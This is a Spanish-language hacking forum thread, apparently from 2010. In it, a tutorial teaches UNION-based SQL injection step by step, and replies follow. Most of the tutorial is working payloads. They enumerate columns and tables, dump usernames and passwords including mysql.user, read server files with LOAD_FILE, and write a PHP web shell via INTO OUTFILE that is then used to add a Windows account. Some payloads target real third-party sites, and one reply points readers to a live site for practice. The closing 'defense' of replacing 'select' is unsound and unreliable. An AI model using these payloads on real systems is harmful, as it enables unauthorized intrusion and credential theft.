comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Inyeccion Sql desde 0 by el Gran Guason

  • 16 Respuestas
  • 5611 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Fakedo0r

  • *
  • Visitante
« en: Febrero 27, 2010, 09:58:15 am »
Inyecciones SQL desde 0

Autor: El Gran Guasón

Indice:

0x01:Que es una inyección SQL
0x02:Como sacar el numero de columnas
0x03:Como sacar tablas y columnas en information schema
0x04:Como sacar tablas y columnas por fuerza bruta
0x05:Como sacar columnas de mysql.user
0x06:Como sacar usuarios y password
0x07:Sacar informacion de la base de datos
0x08:Como explotar LOAD_FILE
0x09:Como hacer vulnerable a RFI mediante una inyeccion SQL
0x10:Evitar estos ataques

0x01:Que es una inyeccion SQL

Una inyeccion SQL es tecnica para sacar informacion de una base de datos para poder
ver datos que no son publicos y modificar a nuestro antojo.
La mayoria de las personas que les gusta hackear siempre usan las inyecciones SQL ya
preparadas para sacar user y pass del admin sin siquiera conocer como funciona.Esto
es algo muy negativo ya que cualquier idiota sin experiencia puedo sacar user y pass con
un plis.
Para usar este manual necesitas tener instalado AppServer o Easy PHP

http://www.appservnetwork.com/index.php?newlang=spanish

Los archivos para la web deben ir en C:\Appserv\www

Entonces a programar se ha dicho.

Antes que tienes que crear la base de datos , primero van a

Inicio - Todos los programas - Appserv - MySQL Command Line Client

Ejecutamos el MySQL Command Line Client y escribimos la contraseña.

Ejecuta los siguientes comandos.

Código: [Seleccionar]
Language: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_INCREMENT,
`name` varchar(25) NOT
NULL,
`password` varchar(50) NOT
NULL,
`country` varchar(20) NOT
NULL,
PRIMARY
KEY
(`id`)
 
INSERT
INTO
`users` VALUES
(1, 'Guason', '123', 'Argentina');
INSERT
INTO
`users` VALUES
(2, 'Pero', '11', 'Infierno');
INSERT
INTO
`users` VALUES
(3, 'Trinity', '12354', 'Via Lactea');
INSERT
INTO
`users` VALUES
(4, 'Galaxia', 'gaylord', 'Cabaret');

Aca les dejo para el index

Código: [Seleccionar]
Language: PHP
<?php 
 
 
/* 
 
 
*/ 
 
 
// Datos para el login
 
 
$dbhost 'localhost';
$dbuser 'root';
$dbname 'test';
 
 
// -------------------
 
 
$user $_GET['id'];
if(empty(
$user)){
 
 
$user 1;
 
 

 
 
$db mysql_connect($host$dbuser);
mysql_select_db($dbname,$db); 
 
 
$sql mysql_query("SELECT * FROM `users` WHERE id=".$user) or die (mysql_error());
$users = @mysql_fetch_row($sql); 
 
 
echo 
"<h2><center><u>Laboratorio Guasonero<br>By Guasón</u><br><br>";
echo 
"<font color='#FF0000'>user_id: </font>".$users[0]."<br>";
echo 
"<font color='#FF0000'>username: </font>".$users[1]."<br>";
echo 
"<font color='#FF0000'>password: </font>".$users[3]."<br>"
 
 
mysql_close($db); 
 
 
?>


¿Como se si es vulnerable?

Para saber si es vulnerable basta con hacer

http://127.0.0.1/index.php?id=1+and+1=0

Si no se muestra nada , la pagina no seria vulnerable.

0x02:Como sacar el numero de columnas

Para sacar el numero de columnas seria muy facil pues puede ser con dos tecnicas que son

**ORDER BY******

Para poder sacar el numero de columnas mediante Order By seria

http://127.0.0.1/index.php?id=1+order+by+1

Si se muesta todo correcto es que ese numero que esta al final de la url "1" no es numero de
columnas y tenemos que seguir subiendo

http://127.0.0.1/index.php?id=1+order+by+2
http://127.0.0.1/index.php?id=1+order+by+3
http://127.0.0.1/index.php?id=1+order+by+4
http://127.0.0.1/index.php?id=1+order+by+5 (ERROR)

Pues si en el numero 5 nos dice error , esta queriendo decir que ya no hay mas columnas , pues
deduciendo tenemos que el sitio tiene 4 columnas

***Sumando con union select*******

Esta es la mejor y mas bien confiable tecnica para sacar el numero de columnas. Yo en esta
tecnica lo que hago es poner una palabra en hexadecimal y no numero. Ejemplo

0x677561736f6e = guason

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e

Pues no nos dice nada interesante la inyeccion pero si seguimos poniendole mas.....

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e ( NOS TIRA guason)

Pues si instalaste la base de datos como la mia. Veras que al intentar 4 veces mi nombre en
hexadecimal nos tira 3 veces guason. Pues es obvio que la base de datos tiene 4 columnas.
Esta tecnica es muy bueno para hacer tools un ejemplo es mi programa Hunter-MYSQL aunque
yo lo considero obsoleto.

0x03:Como sacar tablas y columnas con information schema

Hay dos formas de sacar tablas y columnas con information schema una es a lo boludo y otra a lo
vivo. Pero en realidad serian con sus verdaderos nombres LIMIT y group_concat
Para los dos casos necesitamos el numero de columnas antes

***Usando LIMIT*****

Para recorrer las tablas usare como ejemplo a bullcariez pues mi version de mysql no es la 5:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1

Con esta tecnica veran una tabla pero no todas por lo que tiene que seguir aumentando el numero
hasta que vean alguna interesante como user o pass.

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1

Cuando lleguen al numero 17 veran la tabla amada llamada Users

Ahora hay que sacar las columnas con limit. Seria asi.

117,115,101,114,115 = Users en ascii

http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)

Como veran se muestra el nombre de una columna llamada Pass y si intentamos con 69 nos muestra la columna llamada nombre.Realmente una mierda esta tecnica pero bueno.

Aca les dejo una tool para convertir una palabra a ascii en este caso tablas
Código: [Seleccionar]
Language: Perl
#Name program = Ascii-DE
#Version = beta
#Autor = El Gran Guasón
 
my $palabra = $ARGV[1];
my $opcion = $ARGV[2];
 
unless ($palabra || $opcion) {
print "\n\nModo de uso = $0 --ascii <palabra> <opcion>\n\n";
print "<palabra> = Texto normal o codificacion ascii\n";
print "<opcion> = encode , decode\n\n";
exit 1;
}
 
if ($opcion eq "encode") {
&ascii_encode($palabra);
&creditos;
}
 
if ($opcion eq "decode") {
&ascii_decode($palabra);
&creditos;
}
 
sub ascii_decode {
 
my $z = shift;
 
$z = join q[], map { chr } split q[,],$z;
 
print "\n\n[+] Texto codificado = $palabra\n";
print "[+] Texto normal = $z\n\n";
 
}
 
sub ascii_encode {
 
my $string = shift;
 
$re = join ',', unpack "U*", $string; # o A* para ASCII
print "\n\n[+] Texto normal = $palabra\n";
print "[+] Texto codificado = $re\n\n";
 
}
 
sub creditos  {
print "\n\n\n\n\t\t\t******************************************\t\t\t";
print "\t\t\tWritten By El Gran Guason || 2010\t\t\t";
print "\t\t******************************************\t\t\t\n\n";
exit 1;
}

******Usando group_concat******************

Ok , ahora viene la mejor y mas corta seguiremos usando lamentablemente bullcariez

http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(table_name),2,3,4,5,6+from+information_schema.tables

Con esta tecnica presenciaremos todas las tablas aunque no todas.Pero la que vale es users

Ahora cuando vean la tabla users lo sacan de esta manera no antes que de haber
convertido en ascii la tabla.

http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(column_name),2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)

Pues ahora veremos todas las columnas de esa tabla , pero las esenciales son nombre y Pass.

0x04:Como sacar tablas y columnas por fuerza bruta.

Pues esta tecnica es la peor y mas dura.Pues para eso hice a Hunter-MYSQL que intenta sacarlas
aunque a veces no hay remedio.

Ok , tomaremos como ejemplo a nuestro servidor web y no a la mierda de bullcariez.
Como siempre cabe aclarar que vamos a necesitar al numero de columnas. Ahora vamos
a los ejemplos.

Antes de probar esto hay que tener claro la segundo tecnica de sacar columnas del manual

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+LATABLA A PROBAR

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+usuarios

Pues el resultado de esta inyeccion es cualquier cosa pues si la tabla usuarios existiera nos mostraria guason en el resultado

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+users

Ok ,yes , nos ha mostrado 3 veces guason , pues eso solo nos esta diciendo que la tabla users EXISTE.

Ahora las columnas de la tabla users

Para sacar las columnas de la tabla users seria

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,COLUMNA A PROBAR),2,3,4+from+users--

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,sexualidad),2,3,4+from+users--

Como veran intente con la columna sexualidad pero como esta no existe no se mostrara un carajo.

Ahora probare con name , password y country

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,name),2,3,4+from+users--

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,password),2,3,4+from+users--

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,country),2,3,4+from+users--

Pues todas inyecciones nos tira guason
guason
guason

Pues esa son las columnas que tiene la tabla users.

0x05:Sacar columnas de mysql.user

Pues para comprobar si nuestro servidor web tiene mysql.user seria:

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

Ok , a mi , me devuelve tres veces guason , no se a ustedes pero bueno.
Para sacar las columnas de mysql.user seria:

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,COLUMNA A PROBAR),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,tonton),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

Pues no nos devuelve ese idiota de guason , entonces no tiene ninguna columna llamada tonton

Entonces para probar con name password nos tira

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,user),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,password),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

Nos tira : guason
guason

Entonces las columnas son user y password.

0x06:Como sacar usuarios y password

Ok , si ya conseguiste la tabla de usuarios con las columas interesantes lo que debes hacer es

http://127.0.0.1/index.php?id=-1+union+select+1,2,3,4

Debes elegir algunos de los numeros que salen en la pantalla de resultado.Pues si al final de usar
algunos de los estos numeros y mas adelante no te salio nada , debes intentar con otro numero que
te da la inyeccion en el resultado.

Pues yo eligo el 1. Entonces la inyeccion seria con estos datos

tabla = users
columnas a sacar = name y password

http://127.0.0.1/index.php?id=-1+union+select+concat(name,0x3a,password),2,3,4+from+users

Uso a 0x3a para separar el resultado del name y del password
0x3a = :

La inyeccion nos tira

Guason:123

Ay no! alguien tien mi contraseña xD

Lo mismo seria para mysql.user

http://127.0.0.1/index.php?id=-1+union+select+concat(user,0x3a,password),2,3,4+from+mysql.user

Y lo mismo para information_schema

http://127.0.0.1/index.php?id=-1+union+select+concat(name,0x3a,password),2,3,4+from+users

Pero este ultimo no me anda porque mi mysql es viejo y no tiene information_schema pero la inyeccion nos da el mismo resultado ya que las tablas y columnas si existen

0x07:Sacar informacion de la base de datos

Ok , para sacar informacion de la base de datos seria:

Lo que podemos sacar es
Código: [Seleccionar]
version() = Version de mysql
database() = Tipo base de datos
user()  = usuario
connection_id()  = Id de la conexion

Para tenemos que tenes el numero de columnas

http://127.0.0.1/index.php?id=-1+union+select+1,2,3,4

Pues eligen cualquier numero que les tire el resultado de la inyeccion

En mi caso agarro uno

http://127.0.0.1/index.php?id=-1+union+select+concat(user(),0x3a,database(),0x3a,version(),connection_id(),0x3a),2,3,4

Pues nos tira:
Código: [Seleccionar]
root@localhost:test:4.1.9-max3:

Todos los datos que pedimos primero el user , despues el nombre basedate , luego la version y despues el id de la conexion.

0x08:Como explotar LOAD_FILE

Con la funcion LOAD_FILE podemos leer los archivos que hay en el servidor Ejemplo por defecto
en mi base de datos voy a parar en mysql/data. Yo en este directorio yo tengo un archivo llamado boludo.txt.

Entonces teniendo a boludo.txt = 0x626f6c75646f2e747874
Podemos leer el archivo mediante el numero milagroso y la funcion load_file

http://127.0.0.1/index.php?id=-1+union+select+load_file(0x626f6c75646f2e747874),2,3,4

Entonces el resultado me daria " Hola enfermo! " porque en el archivo boludo.txt tengo solamente eso.

Y asi podran ir sacando cosas malevolas con esta tecnica.

0x09:Como hacer vulnerable a RFI mediante una inyeccion SQL

Pues ya teniendo el numero de columnas tambien podemos crear archivo mediante la funcion
into+outfile
Entonces como siempre agarramos el 1 xD.

Eh intentaremos crear un ejecutor de comandos con este codigo
Código: [Seleccionar]
Language: PHP
<?php include($_GET[$cmd]); ?>

Cabe aclarar que el directorio que vamos a que guardar este ejecutor no debe ser restringido para
los visitantes.

http://127.0.0.1/index.php.php?id=-1+union+select+'<?php include($_GET[$cmd]); ?> ',2,3,4+into+outfile+'gilo.php'

Ok , si ven que el resultado es nulo y no sale ningun error es que se ah creado el archivo. Por
defecto a mi se me creo en mysql/data.
Solo es cuestion de ir cambiando de directorios hasta que alguno nos deje crear el archivo.

Pero por algo me hago llamar El Gran Guasón , porque no soy mas un newbie y no tengo nada
de noob.

Vamos a ejecutar de nuevo la sentencia pero ahora de esta forma.

http://127.0.0.1/index.php.php?id=-1+union+select+"<?php $cmd = $_GET['agarrala']; system ($cmd);?>",2,3,4+into+outfile+'../../www/cmd.php'--

La explicacion seria simple como la estructura de Easy PHP hizo que el resultado del archivo
creado terminara en mysql/data lo que yo hice fue dar dos veces para atras e ir al directorio www de
Easy PHP terminando creando el archivo cmd.php

Ahora solo es cuestion de hacer esto

http://127.0.0.1/cmd.php

Y listo tenemos una cosa rara de shell que ejecuta comandos

Un ejemplo seria

http://127.0.0.1/cmd.php?agarrala=net user /add Jose 123

Este comando es porque mi SO es Windows ,la mayoria de los SO de las webs son linux y los directorios apache varian solo es cuestion de ir probando.

0x10:Evitar estos ataques

Ahora que ya eh explicado casi todo es hora de decir como defenderse de estos ataques
Hay varios formas pero solo nombrare algunas

Código: [Seleccionar]
Language: PHP
$user =(int)$_GET['id'];

Con esto queremos decir que si se introduce algun dato o valor en la inyeccion no sera mostrada

Ahora hay que usar otra para evitar el "select"
Código: [Seleccionar]
$user = $_GET['id'];
$user = str_replace("select","9999999999999",$user);

Ahora este codigo no esta diciendo que si se utiliza la palabra "select" esta sera reemplazada por
"9999999999999".

Con esto creo que bastaria ya que si no consigue el numero de columnas el atacante esta muerto pero si siempre hay cada caso xD.
« Última modificación: Noviembre 23, 2014, 12:28:35 pm por Expermicid »

Desconectado ProcessKill

  • *
  • Underc0der
  • Mensajes: 154
  • Actividad:
    0%
  • Reputación 0
  • Arriba los hackers de Argentina!
    • Ver Perfil
    • Email
« Respuesta #1 en: Febrero 27, 2010, 06:50:04 pm »
Exelente Tutorial. Lo dejo fijo para que no se pierda en el tiempo.
Saludos!

Desconectado Pa531no5

  • *
  • Underc0der
  • Mensajes: 224
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Marzo 16, 2010, 02:29:43 pm »
Muy buen aporte, esta excelentemente explicado, tenia otro pero lo pillaba a medias, este esta genial!!

Desconectado Abnormality

  • *
  • Underc0der
  • Mensajes: 392
  • Actividad:
    0%
  • Reputación 0
  • %SystemRoot%
    • Ver Perfil
    • Email
« Respuesta #3 en: Marzo 19, 2010, 10:57:37 pm »
Excelente tutorial, muy util. Gracias por el aporte.

Ah, en el titulo dice Sql desde 0 by el Gran Gauson y es el Gran Guason. =)

Platinum

  • *
  • Visitante
« Respuesta #4 en: Abril 01, 2010, 09:28:00 pm »
Gracias camarada, voy a empezar a leerlo con calma, pero te pongo ya las gracias porque tiene muy buena pinta  ;)

Desconectado PerverthsO

  • *
  • Underc0der
  • Mensajes: 56
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #5 en: Abril 01, 2010, 11:18:51 pm »
hey q buen post felicitaciones XD y realmente esto sera de mucha ayuda XD
<h1>PerverthsO</h1>

Platinum

  • *
  • Visitante
« Respuesta #6 en: Abril 02, 2010, 10:01:17 am »
Ejecuto el comando:

Código: [Seleccionar]
Language: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_INCREMENT,
`name` varchar(25) NOT
NULL,
`password` varchar(50) NOT
NULL,
`country` varchar(20) NOT
NULL,
PRIMARY
KEY
(`id`)
 
 
 
 
INSERT
INTO
`users` VALUES
(1, 'Guason', '123', 'Argentina');
INSERT
INTO
`users` VALUES
(2, 'Pero', '11', 'Infierno');
INSERT
INTO
`users` VALUES
(3, 'Trinity', '12354', 'Via Lactea');
INSERT
INTO
`users` VALUES
(4, 'Galaxia', 'gaylord', 'Cabaret');

Y me aparece lo siguiente:
Código: [Seleccionar]
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near 'Langu
age: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_IN' at line 1
mysql> INSERT
    -> INTO
    -> `users` VALUES
    -> (2, 'Pero', '11', 'Infierno');
ERROR 1046 (3D000): No database selected
mysql> INSERT
    -> INTO
    -> `users` VALUES
    -> (3, 'Trinity', '12354', 'Via Lactea');
ERROR 1046 (3D000): No database selected
mysql> INSERT
    -> INTO
    -> `users` VALUES
    -> (4, 'Galaxia', 'gaylord', 'Cabaret');
ERROR 1046 (3D000): No database selected

¿Alguna idea?  :(



Fakedo0r

  • *
  • Visitante
« Respuesta #7 en: Abril 02, 2010, 10:32:34 am »
No podria decirte porke te sale asi , pero es solo pake crees una pagina i lo practikes en tu pc , pero bueno si no te sale , aki te dejo una web , practica con las sentencias en ella:

http://www.agenciapulsar.org/coberturas_det2.php?id=65 | borra el "65" i de ahi aplica las sentencias

Cualkier duda , avisame por pm !!!
Saludos  ;)

Desconectado S[e]C

  • *
  • Underc0der
  • Mensajes: 42
  • Actividad:
    0%
  • Reputación 0
  • I am mine.
    • Ver Perfil
    • Undersecurity
« Respuesta #8 en: Abril 02, 2010, 10:37:38 am »
Es porque no estas usando ninguna base de datos, primero creas la base de datos:

Código: [Seleccionar]
CREATE DATABASE prueba;
luego la seleccionas para usarla;

Código: [Seleccionar]
USE prueba;
y luego ejecutas el comando ;) .

Usa la web oficial como referencia bro: http://dev.mysql.com/doc/refman/5.0/es/

Y lo mejor es que practiques un poco de SQL en localhost antes de lanzarte a las SQL injection .

No podria decirte porke te sale asi , pero es solo pake crees una pagina i lo practikes en tu pc , pero bueno si no te sale , aki te dejo una web , practica con las sentencias en ella:

http://www.agenciapulsar.org/coberturas_det2.php?id=65 | borra el "65" i de ahi aplica las sentencias

La idea es que sepa lo que esta haciendo no que siga paso a paso un tutorial y haga cosas sin tener idea como funciona el asunto.

Saludos.
« Última modificación: Abril 02, 2010, 11:11:01 am por S[e]C »

Fakedo0r

  • *
  • Visitante
« Respuesta #9 en: Abril 02, 2010, 10:48:58 am »
Código: [Seleccionar]
CREATE DATABASE prueba;
luego la seleccionas para usarla;

Código: [Seleccionar]
USE prueba;
y luego ejecutas el comando ;) .
------------------------------------------

La idea es ke aprenda html  y php no ke pruebe sin saber lo ke sta aciendo  ;)

Desconectado PerverthsO

  • *
  • Underc0der
  • Mensajes: 56
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #10 en: Abril 02, 2010, 11:55:00 am »
bueno creo q en un sql injeccion como dice el titulo la idea es q sepa manejar bien la sintaxis SQL antes q cualquier lenguaje web como php,asp,jsp teniendo claro las sentencias usadas en SQL podras injectar codigo para los diferentes motores de base de datos q usan esa sintaxis como
mssql,mysql,postgres,oracle etc

tonces yo les recomendaria para lo q quieren aprender y usar sql injeccion.
Aprendan SQL :)
<h1>PerverthsO</h1>

Desconectado misionero2010

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #11 en: Mayo 18, 2010, 06:27:25 pm »
Exelente Tutorial. Lo dejo fijo para que no se pierda en el tiempo.
Saludos!
Hola disculpa mi ignorancia pero creo q varios tenemos la duda de q significa "Id=-1 " en algunos casos no acepta los caracteres de /**/ ni -- para indicar q luego de éstos solo hay comentarios y donde podemos sacar palabras en hexadecimal para usarlas en la inyeccion?
gracias

Desconectado $ad

  • *
  • Underc0der
  • Mensajes: 64
  • Actividad:
    0%
  • Reputación 0
  • ¡ l0v3 H4ck¡nG
    • Ver Perfil
    • Visita mi Blog
« Respuesta #12 en: Mayo 19, 2010, 01:29:34 pm »
Citar
Hola disculpa mi ignorancia pero creo q varios tenemos la duda de q significa "Id=-1 " en algunos casos no acepta los caracteres de /**/ ni -- para indicar q luego de éstos solo hay comentarios y donde podemos sacar palabras en hexadecimal para usarlas en la inyeccion?
gracias

Lee esto.

PD:

Debes sacar las tablas, la "palabra" que se pasa a ASCII (En algunos casos) es el nombre de la tabla "objetivo", para obtener de esta el numero de columnas, y posteriormente imprimir los datos.
« Última modificación: Mayo 19, 2010, 01:39:19 pm por $ad »

Desconectado PerverthsO

  • *
  • Underc0der
  • Mensajes: 56
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #13 en: Mayo 19, 2010, 02:52:18 pm »
contestando al pregunta ID=-1 significa que el paremtro q tomara el php para hacer la consulta sera -1 naa mas ahora con lo de los comentarios normalmente se usan /*,--.# si es q ninguno de esos te vale quiere decir q la consulta a la base de datos derrepente esta compuesta por varios select entonces no te deja comentarlos asi por asi noma bueno en general no te funciona porq al hacer un comentario en la consulta probocas un error en la consulta por ejemplo
select * from (id=1) ahora q pasa si tu comentas select * from (id=-1/*) te mandara un error porq estas haciendo al poner comentario que la consulta sea erronea y por ultimo puedes sacar las palabras en hex usando el mismo sql solo ejecutas en el phpmyadmin  o cualquier administrador de base de datos la siguiente consulta select hex('palabra') ahi te mandara las palabras en hex bueno espero te sirva saludos;)
<h1>PerverthsO</h1>

Desconectado D3rakON

  • *
  • Underc0der
  • Mensajes: 15
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #14 en: Mayo 19, 2010, 09:57:01 pm »
Impresionante post la verdad que no se mucho sobre la inyeccion Sql, asi que me viene al pelo.!


Saludos!

Desconectado misionero2010

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #15 en: Mayo 20, 2010, 03:02:51 pm »
hola amigo, estoy aprendiendo sobre el hack y conosco las sentencias basicas de sql pero en la inyeccion me destantean algunos codigos, no se si me puedas explicar solo algunos detalles, por ejemplo de la sig.
http://127.0.0.1/index.php.php?id=-1+union+select+"<?php $cmd = $_GET['agarrala']; system ($cmd);?>",2,3,4+into+outfile+'../../www/cmd.php'--
el ?id= se usará siempre o se cambia dependiendo del codigo fuente de la pagina; si ocupan <input type= text name="numcuenta" y <input type= password name="clave" inyecto como :
//127.0.0.1/index.php?numcuenta=-1+union+select .............. ?
y ese "=-1 " el guion 1 significa comentario en campo 1 ?
te agradesco tu aporte

Desconectado misionero2010

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #16 en: Mayo 20, 2010, 03:13:11 pm »
contestando al pregunta ID=-1 significa que el paremtro q tomara el php para hacer la consulta sera -1 naa mas ahora con lo de los comentarios normalmente se usan /*,--.# si es q ninguno de esos te vale quiere decir q la consulta a la base de datos derrepente esta compuesta por varios select entonces no te deja comentarlos asi por asi noma bueno en general no te funciona porq al hacer un comentario en la consulta probocas un error en la consulta por ejemplo
select * from (id=1) ahora q pasa si tu comentas select * from (id=-1/*) te mandara un error porq estas haciendo al poner comentario que la consulta sea erronea y por ultimo puedes sacar las palabras en hex usando el mismo sql solo ejecutas en el phpmyadmin  o cualquier administrador de base de datos la siguiente consulta select hex('palabra') ahi te mandara las palabras en hex bueno espero te sirva saludos;)
OK, gracias hermano, buena respuesta, no sabía lo del select hex('palabra') 8)

 

¿Te gustó el post? COMPARTILO!



Blind SQLi desde cero [SQLi a ciegas] by ANTRAX

Iniciado por ANTRAX

Respuestas: 20
Vistas: 10021
Último mensaje Julio 27, 2014, 01:04:47 am
por DRAKONE
[Curso] SQL Injection desde 0 - Union based y Blind Boolean Based.

Iniciado por M5f3r0

Respuestas: 8
Vistas: 9110
Último mensaje Abril 21, 2017, 04:36:34 am
por M5f3r0
Routerpwn, un framework para explotar dispositivos embebidos desde tu celular

Iniciado por hkm

Respuestas: 2
Vistas: 2095
Último mensaje Agosto 01, 2011, 11:45:43 pm
por JaAViEr
Analisis de un Buffer Overflow desde codigo muerto

Iniciado por PerverthsO

Respuestas: 1
Vistas: 1825
Último mensaje Junio 02, 2015, 07:24:05 am
por .:UND3R:.
Videos Metasploit desde básico hasta avanzado

Iniciado por dvdr

Respuestas: 24
Vistas: 19538
Último mensaje Abril 28, 2016, 11:40:55 am
por Satyricon